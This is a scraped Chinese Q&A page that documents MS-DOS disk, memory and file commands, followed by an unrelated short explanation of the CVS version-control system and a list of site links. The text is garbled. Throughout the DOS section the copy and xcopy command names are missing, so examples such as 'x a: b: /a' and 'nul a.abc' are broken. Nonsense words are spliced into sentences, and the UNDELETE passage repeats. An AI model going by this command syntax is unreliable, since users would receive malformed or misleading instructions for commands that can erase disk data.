(在A驱中插入新盘,准备好后按回车键)。
(3)选用[/S]参数,将把DOS系统文件IO.SYS
、MSDOS.SYS及COMMAND.COM复制到磁盘上,使该磁盘可以做为DOS启动盘。若不选用/S参数,则格式化后的磙盘只能读写信息,而不能做为启动盘;
(4)选用[/4]参数,在1.2MB的高密度软驱中格式化360KB的低密度盘;
(5)选用[/Q]参数,快速格式化,这个参数并不会重新划分磁盘的磁道貌岸然和扇区,只能将磁盘根目录、文件分配表以及引导扇区清成空白,因此,格式化的速度较快。
(6)选用[/U]参数,表示无条件格式化,即破坏原来磁盘上所有数据。不加/U,则为安全格式化,这时先建立一个镜象文件保存原来的FAT表和根目录,必要时可用UNFORRMAT恢复原来的数据。
(二)UNformAT恢复格式化命令
1.功能:对进行过格式化误操作丢失数据的磁盘进行恢复。
2.类型:外部命令
3.格式:UNformAT〈盘符〉[/L][/U][/P][/TEST]
4.使用说明:用于将被“非破坏性”格式化的磁盘恢复。根目录下被删除的文件或子目录及磁盘的系统扇区(包括FAT、根目录、BOOT扇区及硬盘分区表)受损时,也可以用UNformAT来抢救。
(1)选用/L参数列出找到的子目录名称、文件名称、大孝日期等信息,但不会真的做formAT工作。
(2)选用/P参数将显示于屏幕的报告(包含/L参数所产生的信息)同时也送到打印机。运行时屏幕会显示:“Print out will
be sent to LPT1”
(3)选用/TEST参数只做模拟试验(TEST)不做真正的写入动作。使用此参数屏幕会显示:“Simulation only”
(4)选用/U参数不使用MIRROR映像文件的数据,直接根据磁盘现状进行UNformAT。
(5)选用/PSRTN;修复硬盘分区表。
若在盘符之后加上/P、/L、/TEST之一,都相当于使用了/U参数,UNformAT会“假设”此时磁盘没有MIRROR映像文件。
注意:UNformAT对于刚formAT的磁盘,可以完全恢复,但formAT后若做了其它数据的写入,则UNformAT就不能完整的救回数据了。UNformAT并非是万能的,由于使用UNformAT会重建FAT与根目录,所以它也具有较高的危险性,操作不当可能会扩大损失,如果仅误删了几个文件或子目录,只需要利用UNDELETE就够了。
三) CHKDSK——检查磁盘当前状态命令
1.功能:显示磁盘状态、内存状态和指定路径下指定文件的不连续数目。
2.类型:外部命令
3.格式:CHKDSK [盘符:][路径][文件名][/F][/V]
4.使用说明:
(1)选用[文件名]参数,则显示该文件占用磁盘的情况;
(2)选[/F]参数,纠正在指定磁盘上发现的逻辑错误;
(3)选用[/V]参数,显示盘上的所有文件和路径。
(四)DISKCOPY——整盘复制命令
1.功能:复制格式和内容完全相同的软盘。
2.类型:外部命令
3.格式:DISKCOPY[盘符1:][盘符2:]
4.使用说明:
(1)如果目标软盘没有格式化,则复制时

⑸ 恳求DOS命令

dos命令

dos下各种常见命令索引

▲ dir

▲ attrib

▲ cd



▲ x

▲ del

▲ undelete

▲ deltree

▲ dos=high

▲ doskey

▲ emm386.exe

▲ fc

▲ format

▲ unformat

▲ interlnk

▲ intersvr

▲ memmaker

▲ memitem等

▲ mscdex

▲ msd

▲ prompt

▲ ramdrive

▲ subst

▲ mem

▲ "> < >> <<"工具

▲ move

▲ append

▲ call

▲ defrag

▲ device

一、DIR 命令的格式:

dir [D:][PATH][NAME][[/A][:attrib]][/o:[sorted][/s][/b][/l][/c[h]

(1)dir /a:attrib 缺省包含所有文件(系统文件.隐含文件)

attrib[:][h/-h]只显示隐含文件或非隐含文件.

[r/-r]只显示只读文件或非只读文件

[s/-s]只显示系统文件或非系统文件

[a/-a]只显示要归档文件或非归档文件

(2)/o[:]sorted:缺省完全按字母顺序,子目录显示在文件之前

/o[n/-n]:按字母顺序或按文件名顺序/反向显示

[e/-e]:按扩展名字母顺序/反向显示

[d/-d]:按时间顺序/反向显示

[s/-s]:按大小从大到小或/反向显示

[g/-g]:按子目录先于文件或文件先于子目录

(3)/s 参数:对当前目录及其子目录中所有文件进行列表

列名:dir /s/a/o:n c:\>PRN

将c盘上的所有子目录和文件按隶属关系并根据子目录和文件字母顺序打印输出

(4)/B 参数:将只显示文件名与扩展名

(5)/L 参数:将全部用小写字母对文件或子目录进行列表

训练:

dir /a 列当前目录所有文件(含隐含及系统文件)

dir /ah 列隐含文件(包含子目录(隐含的) dir /a-h

dir /as 列系统文件 dir /a-s

dir /ad 列子目录 dir /a-d

dir /o 按字母顺序

dir /B 只显示文件名与扩展名

二、attrib [+r|-r] [+a|-a] [+s|-s] [+h|-h] [d: ] [name] [/s]

缺省 attrib name 显示文件的(文件)属性

attrib io.sys (或子目录)

shr c:\ io.sys 指定为系统(s) 隐含(h) 只读(r)文件

也可以attrib *.sys 显示扩展名为sys的文件属性

参数 [+r|-r] 将文件属性设置或解除 只读属性

[+a|-a] 将文件属性设置或解除 归档属性

[+h|-h] 将文件属性设置或解除 隐含属性 (尤其对子目录也起作用)

/s 参数 将当前及当前子目录下的所有文件均起作用

可以用来查找文件

例子:

attrib news86 列news86的文档属性

attrib +r report.txt 设置为只读 attrib -s -h record.txt

attrib +a a:*.*

attrib -a a:*.bak

x a: b: /a 将A盘上的所有标志为"归档"属性的轿裤慧文件拷到B盘

x a: b: /m 将A盘上的所有文件拷到B盘后并移去归档属性

三、cd 介绍: cd...返回上二级目录 "."纯启代表当前目录 "."代表父目录

cd ..\..返回到上级目录的父目录(祖目录)

cd A:\ 将A盘的当前目录改为根目录

cd A:\xx 将A盘的当前目录改为子目录xx下

cd ..\98 先返回父目录,再进入父目录下的98子目录

cd ..返回到父目录

cd\98 进入根目录下的98子目录

四、 [/y][/-y][/v][ /B]

/y 不加提示,对所有文件加以覆盖

/-y 加以提示,对所有文件 (yes或no提问 )

/v 拷贝以后加以校验

/B 按二进制进行显示

w1.wps con/b 可以将wps文件在屏幕上显示,而不必进入wps状态

..\98 将父目录下的98子目录下的所有文件全拷闭答到当前子目录

.\97 当当前目录下的97子目录下文件全部拷到当前目录

. c:\ 将当前目录下的所有文件拷到c盘根目录

. 意味着 *.* 文件

nul a.abc 将a.abc 文件清空(文件长度改为0)

文件名+con 向文本文件中追加命令或内容

con 文件名 创建文本文件(F6存盘退出)

con prn 检测打印机的开关

五、x命令

x [source] [d:date] [/p] [/s] [/e] [/v] [/y]

x [d:date] x a:b:\ /d:08/18/98/s/v 拷贝98.08.18年后的文件

x [/p] 提示创建子目录

x [/s] 连带子目录一起拷贝. 注意:若目标盘上不存在此子目录,而在目标

盘的结束符又不以"\"为结束,则将提示:

does destination specify a file name or directory name on the target

[f=file,d=directory]?

在目标盘上创建文件[按下]还是创建子目录[按下d] ?应选择d键

x[/v] 带较验

*:(1) x 不拷贝系统和隐含文件,应先予以修改属性再拷贝

x [/y] 覆盖时是否有提示, /y 不带提示

若省略目标盘或子目录名,则拷贝到当前目录下

六、 del /p

加/p 可以在删除前是否提示

如del后加子目录名,则将子目录下所有文件(隐含.系统.只读文件除外)全删除,

加/p则可以确认.

七、undelete [name] /au

不加提示地将所有满足条件的文件恢复(能够恢复的),并将首字母置成"#",若已

存在,则按"# % & 0 1 2-9 a-z"顺序加上.

如:undelete *.dbf/au 将扩展名为"dbf"的文件全恢复,并以"#"开头,作为文件

名, /list 仅列出可恢复的文件,而不恢复

undelete /load 将undelete装入内存

/unload 将undelete卸出内存

/s[drive]对指定驱动器进行监测管理

undelete/sc

将 undelete驻留内存,?并创建一个隐含的sentry 子目录对c盘删除的文件进行

管理 undelete/ds 恢复

相应恢复命令可以用undelete即可完整恢复出文件名(非常完整)

最常用undelete *.*

deltree /y [drive:path]

deltree 删除子目录及文件,尽管有些文件是系统文件或隐含文件

它可以带有通配符,带有通配符时,它将删除符合条件的文件及子目录

如:?undelete *.dbf/au 将扩展名为"dbf"的文件全恢复,并以"#"开头作为文件

名.

/list 仅列出可恢复的文件,而不作恢复操作.

undelete/load 将undelete 装入内存.

/unload将undelete 卸出内存.

/s[drive] 对指定的驱动器进行监视管理.

undelete/sc 将undelete 驻留内存,并创建一个隐含的sentry子目录对C盘删除

的文件进行管理.相应恢复命令可以用undelete/ds 即可完整恢复出文件名(很完善).

最常用的是undelete *.*

八、deltree /y [drive:path]

deltree 删除子目录及文件,尽管有些文件是系统或隐含的.

它可以带有通配符,这时它将删除符合条件的文件或子目录.

如:存在L1文件,L2子目录,L3文件,L4子目录

deltree L*.* 将删除以上所有的文件和子目录,但在删除前加以确认,若不删除,

可以输入"N".

/y 参数是在删除时不加以确认就进行操作的.

它删除的文件可以用undelete恢复,?但不能恢复子目录及其下的文件,可以用特

殊工具.如NORTON 8.0 等.

若提前使用了undelete/s,?则可以在sentry子目录下找到完整的文件,但名已经

改变了.

九、dos=high[|low[umb|noumb]]

dos=high,umb 则dos将自身装入高端内存(high)并能管理上位内存(umb).

noumb 则不管理上位内存.

在写入dos=high及umb 前应装入device=himem.sys

为了将程序或驱动程序装入上位内存,必须使用dos=umb,可省出大部分常规内存.

可以在config.sys的任何位置写上dos=high,umb

若显示hma not avoiable 或 load down low 则表明不能使用高端内存.

十、doskey 记录以前敲过的dos命令,可以用F7来显示,用"↑↓"来选择,用F9来输入

选择的命令号.

doskey/restall 重新装入一次,以前的命令行撤消.

doskey/history 显示内存中所有的命令,可以">"显示到其它文件中,缩写"/H".

doskey dir=cls 则击入dir等同于cls一样.

doskey/macros 可显示所有的宏定义,可使用">"重定义到文件中,可缩写"/M".

doskey dir= 可撤消对dir 的宏定义.

doskey p=dir$tdir*.exe/p$tdir c:\t$tdir c:\t$*

$t为命令的区分符,而$*为命令的结束符

doskey/insert(overstrike)?在重新输入命令时,对旧命令的修改是插入还是覆

盖状态(默认).

十一、emm386.exe

提供对扩展内存的管理,使应用程序象使用常规内存一样能够使用它.

常见的用法是 在config.sys 中

device=c:\dos\himem.sys

device=c:\dos\emm386.exe ram

d=64 将DMA 内存数量设置为64K

noems 提供对上位内存的访问,但不提供对扩展内存的访问.

应注意的是在windows中最好不要用它,因为windows本身有对扩展内存进行管理

的程序.应采用windows中的管理器.

十二、fc 命令 fc/b dt.dat dt2.dat>b (作二进制代码比较)

比较两个文件,一般用作存取进度,修改游戏存储文件用.

实际代码位置应加上0100 如:0000 05E4:00 67

实际用debug -e 修改时应加上0100 即 0000 06E4:00 67

后面加上重定向文件">P" 可以将比较结果输出到p文件中.

十三、format /q /u /s /n:sectors /f:size /c

/q参数:快速格式化,仅扫描文件分配表和根目录区,仅对格式化过的磁盘有效.

使用时应确保格式化过后没有增加新的坏道.

/u参数:无条件格式化,并且不保存原来盘上的信息,可以防止"unformat".

/s参数:格式化为系统盘,也可以使用"sys"命令.

/f:size size 可以为160 180 320 360 720 1200 1440 2800

/n:sector n可以为1 格式为单面盘,容量为160k 180k

可以为4 可以在5寸高密驱动器上格式化360k磁盘

可以为8 可以在5寸高密驱动器上进行8个扇区的格式化.

/c 重新测试坏扇区,缺省时如果一个扇区标记为"坏",以后格式时就不在从新测

试,仅作标记,使用"/C"时可以从新测试.

十四、unformat 命令

对用format 格式过,且未用"/u"参数的命令起作用,用它可以来重新修复已经损

坏的硬盘分区表,但对网络盘不起作用.

unformat drive:[/l][/test][/p]

/l 显示每一个被unformat发现的文件和子目录,如果没有这个开关,只显示那些

破碎的文件和子目录,可以用ctrl+s 暂停,按任意键继续.

/test 仅作一个测试,不作实际的修复工作,作模拟过程.

/p 一边测试一边打印.

注:这种方法不能保证修复所有的文件,尤其是格式化后又添加过数据的磁盘.

恢复后的文件依次存放在subdir1....2....3等子目录中.

十五、interlnk 语法 interlnk g=e ,它可以通过串口或并口在两机间进行通讯.

将服务器端上的e驱动器映射为客户端的g驱动器,以后对客户端而言,所有对g的

操作都意味着对服务器的访问,取消映射的办法为interlnk g=

单独输入interlnk 则显示所有的映射情况.

注意:interlnk 必须在装入interlnk.exe 设备驱动程序才可以使用.

所用的驱动器符号与config.?sys中lastdrv.exe设置的数目有关.可以作一个一

端为25针,另一端为9针的串行线实现,具体接线方式如下:

5 - 7 2 - 15

3 - 2 3 - 13

7 - 4 4 - 12

6 - 6 5 - 10

3 - 3 6 - 11

8 - 5 15 - 2

4 - 20 13 - 3

9针 25针 12 - 4

10 - 5

11 - 6

25 - 25

25针 25针

十六、interlnk.exe 与intersvr.exe

interlnk.exe 重新定向对于客户驱动器或打印接口的请求到另外的服务器驱动

器或打印机.

语法:config.sys 中加入:

device=c:\dos\interlnk.exe [drive:n][/noprinter][com][lpt]

十七、memmaker[/b][/batch][session][/swap:drive]

使用memmaker能够优化内存配置,?并将配置写入autoexec.bat和config.sys中.

在这一过程中,需要重新启动几次机器.

十八、memitem memcolor memdefault submenu 菜单选项include

autoexec.bat 中如下: config.sys中如下:

path c:\dos;c:\ucdos [menu]

doskey menucolor=15,1(前景色15,背景色1)

\mouse\mouse menuitem=base_config,this is a base

goto %config% ->选择项 menuitem=cced_config,this is a cced

选项 提示

:base_config menudefault=base_config,5

goto exit ->跳出 缺省为base_config,延迟时间5秒

:cced_config [common]

c:\dos\smartdrv.exe /l device=c:\dos\himem.sys

goto exit 各项都包含的共同部分

:exit ->结束 [base_config]

device=c:\dos\emm386.exe ram

dos=high,umb

[cced_config]

device=c:\dos\smartdrv.exe/double_buffer

include=base_config 包含base_config设置

可以根据计算机的在不同情况下的配置要求来选择.

十九、mscdex.exe 提供对光驱进行读写的程序

mscdex/d:drive [/D:drive][/e][/k][/s][/l:letter]

典型:config.sys 中device=c:\cdrom\cdrom.sys /d:mscd000

autoexec.bat中 c:\dos\mscdex /d:mscd000 /l:g

配置了一个光驱,符号为g

参数/d:drive1为光驱身份号,须与config.sys中的符号一致,可有多个

/d:mscd000 /d:mscd001

/e:使用扩展内存装入光驱驱动程序.

/s:使光驱在ms_net或windows是否设置为共享光驱

/V是否在加载时显示内存.

/L:letter 分配给光驱的盘符

/m:number 指定缓冲器的数目

应该注意的是:?如果用smartdrv.exe 加速对光驱的读写能力,应该在autoexec.

bat中将mscdex.?exe 写在smartdrv.exe 之前,smartdrv.exe的使用可大幅提高

对驱动器的读写能力.

二十、msd的使用

使用msd 可以整体检查计算机配置及系统信息

包括:?驱动器参数,计算机cpu参数,内存大小参数,显示器类型,串.并口情况,以

及各个IRQ占用情况,据此可以分析新增设备是否与原来设备有冲突.

同时也可以通过分析内存驻留程序,判断内存中是否有病毒,有则标为"???".

二十一、prompt dos提示符

$q 等于号 $t 当前时间 $d 当前日期 $p 当前驱动器符号

$$ $号提示 $n当前驱动器 $g 大于号 $l小于号 $b 显示"|"管道号

$h 隐去提示符 $E显示"<-"号

对于其它文字,则直接显示文本本身prompt ljw,则显示为ljw提示符

prompt 则仅显示当前驱动器号及大于号.

二十二、ramdrive.sys 使用内存当做虚拟盘来使用

应注意,所有数据都存在于内存中,应及时将其存到硬盘中,否则掉电后或者死机

后将丢失全部数据,优点是运行速度快,但不能在windows中使用.

示例:config.sys: device=c:\dos\ramdrive.sys /size[/e|a]

size为以k为单位的字节数,即建立的虚拟盘的大小.

/e或/a 都是使用扩展内存来建立虚拟盘,?加参数的前提是必须先加载内存管理

器himem.sys及emm386.exe.

二十三、subst 将一个驱动器与一个子目录联接

如:将对A:\l1\l2 子目录的请求映射为S盘,则输入

subst s: a:\l1\l2 即可

这样使用dir s:?等命令则显示的是a:\l1\l2子目录下的内容,其它 del 一样

可以用subst s: d 来取消这种映射.

可以用subst 来显示各种联接情况

注意:?可以采用subst a: c:a 来建立一个对于A的读写盘.对于某些安装软件

来说,?必须使用A盘来安装,就可以使用先将所要安装的软件全部拷贝到C:a子

目录中,然后输入subst a: c:a,再转到A:,就可以进行软件的安装了.

二十四、mem /c /m /p /d 常规内存显示程序

/c显示所有内存驻留程序的占用情况,分为conventional常规内存和uppermemory

高端内存占用,并显示总的占用情况(常规 高端 保留 扩展内存)

/p分页显示,页间暂停

/m后加模块名 如:/m msdos 显示dos系统内存的占用.

/d对常规 高端 保留 扩展内存加以详细例表说明

通过分析,可以看出内存占用是否合理,以及各种程序是否正常加载,从而在此基

础上使用内存优化工具memmaker进行各种管理,同时又可以分析出一些程序死机

的原因,若有的地方显示"???",则可以断定内存中有病毒的存在,有利于发现及消灭.

二十五、各种管道工具的使用"> < >> <<"

将各种命令造成的输出或所需要的输入重新定向

如:dir *.bat /b>p 可以将dir *.bat 例出的文件名输出到p文件中.

time<p>>p.bat

p文件中仅存在一个回车符,则可以将时间追加进p.bat文件中

"> >>" 是将命令产生的输出重新定向,比如到文件或打印机中.

>>产生的内容将追加进文件中,>则将原文件内容覆盖.

"< <<" 是将命令所需要输入的内容重新定向.

如:time<p 在批中可以是时间代码或回车符,可以以此改变时间.

需要说明的是 "prn "为打印机, "null"为空设备

con 为显示器

type p.bat>prn 可将p.bat打印出来.

null p 可将p文件删除掉

con p 可以在屏幕上编辑p文件,F6可以存盘退出

type p>pp 完成p文件到pp 的复制

type p|more 可在屏满时暂停显示

二十六、move 命令

move [y/-y] filename1 filename2

将文件1移动到文件2处

如:move c:\dos\*.* c:\cced

将dos子目录下的所有文件全部移动到cced 子目录下

/y|-y参数在目标目录不存在需要创建时,是否出现提示

可以使用该命令修改子目录名称,如 move dos cced

将dos目录名改为cced

二十七、append 指定一些特殊数据文件的存放位置,如user.dat pe2.pro等一些非*.

exe *.com *.bat 文件

格式:append [:]终止以前存在的指定目录 append 显示指定情况

append [path] append c:\user 等

二十八、

call 在一个批处理命令中调用另外一个批处理文件

(1)不终止现有文件的运行,执行完掉用程序后立即返回.

(2)被调用批处理命令必须以bat 为扩展名

(3)调用批处理文件时,可以加上参数(%1-%9)以及环境变量如%baud%

(4)不能使用管道工具及重定向工具

二十九、device devicehigh loadhigh

device 将指定的设备驱动程序装入内存中

devicehigh将指定的设备驱动程序装入高端内存中

loadhigh 将指定的设备驱动程序装入高端内存中

三十、defrag 优化磁盘

legend(传奇) optimize(优化) elapse(逝去) fragment(碎片)

该命令执行对指定的盘进行优化处理(包括检查文件分配表,各文件状态,纠正错

误),在执行时,可按照文件名大小,时间,扩展名对文件进行排序.

⑹ 请问CVS是什么啊

CVS是“Concurrent Version System”的简称,即是是一个C/S系统,常用的代码版本控制软件。

CVS是开发源代码的配置管理工具,其源代码和安装文件都可以免费下载。CVS是源于unix的版本控制工具,对于CVS的安装和使用最好对unix的系统有所了解能更容易学习。

CVS的服务器管理需要进行各种命令行操作。目前,CVS的客户端有winCVS的图形化界面,服务器端也有CVSNT的版本,易用性正在提高。但因为CVS是开发源码软件,没有生产厂家为其提供技术的支持。如发现问题,通常只能靠自己查找网上的资料进行解决。

(6)s开头的代码编译器扩展阅读:

cvs替代管理

cvs 不能代替开发者之间的交流。在单个文件内遇到冲突时,大多数开发者不费多大力气就能解决它们。但更常见的"冲突(conflict)",是那些难度较大、不在开发者之间进行交流就没法解决的问题。

当在一个文件内或多个文件中同时发生变化时,cvs 并不知道何时它们会在逻辑上发生冲突。它的冲突(conflict)概念是纯粹文本意义上的,这种冲突会在同一个文件的两种变化十分接近以致于会破坏合并命令(如diff3)。

cvs 决不会指出程序逻辑上非文本或分布式的冲突。例如:假如你改变了在文件A 中定义的函数X 的参数。同时,别人在编辑文件B,仍用旧参数调用 X 这个函数。此时产生的冲突 cvs 可就无能为力了。

阅读全文

与s开头的代码编译器相关的资料

热点内容
kali里面加密工具有哪些 浏览:258
linux查看log文件 浏览:556
邮箱地址被服务器拒绝 浏览:243
怎么登录农村信用社app 浏览:547
联通不上服务器怎么办 浏览:613
编译器指定的目录是什么 浏览:663
编译器多线程优化 浏览:504
初代安卓系统什么特点 浏览:444
plc梯形图符号编程 浏览:451
为什么梁宽高相同加密范围不一样 浏览:620
死板的人能当程序员么 浏览:917
php循环访问网站程序 浏览:906
服务器回收北京云服务器 浏览:398
asp中如何解决服务器时间和本地时间相差八个小时 浏览:184
python传参的几种形式 浏览:650
pdf转电 浏览:196
设备怎么换id安卓 浏览:183
linux做vpn 浏览:718
电脑附件怎么压缩小于50M 浏览:639
token怎么加密的 浏览:249